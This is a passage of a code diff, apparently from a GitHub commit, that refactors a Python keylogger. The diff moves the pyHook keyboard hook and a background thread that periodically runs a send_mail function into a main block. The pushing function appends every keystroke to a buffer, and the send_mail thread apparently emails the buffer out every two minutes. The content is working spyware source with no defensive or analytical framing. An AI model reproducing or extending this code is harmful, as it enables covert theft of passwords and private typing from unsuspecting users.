File tree Expand file tree Collapse file tree 1 file changed +9
-9
lines changed
Expand file tree Collapse file tree 1 file changed +9
-9
lines changed Original file line number Diff line number Diff line change @@ -62,11 +62,7 @@ def send_mail():
6262 except Exception as error :
6363 print error
6464 sleep (120 )
65-
6665
67- if __name__ == '__main__' :
68- triggerThread = Thread (target = send_mail )
69- triggerThread .start ()
7066
7167def pushing (event ):
7268 global data
@@ -92,8 +88,12 @@ def pushing(event):
9288 }
9389 keyboardKeyName = keys .get (event .Ascii , chr (event .Ascii ))
9490 data += keyboardKeyName
95-
96- hookManager = pyHook .HookManager ()
97- hookManager .KeyDown = pushing
98- hookManager .HookKeyboard ()
99- pythoncom .PumpMessages ()
91+
92+ if __name__ == '__main__' :
93+ triggerThread = Thread (target = send_mail )
94+ triggerThread .start ()
95+
96+ hookManager = pyHook .HookManager ()
97+ hookManager .KeyDown = pushing
98+ hookManager .HookKeyboard ()
99+ pythoncom .PumpMessages ()
You can’t perform that action at this time.
0 commit comments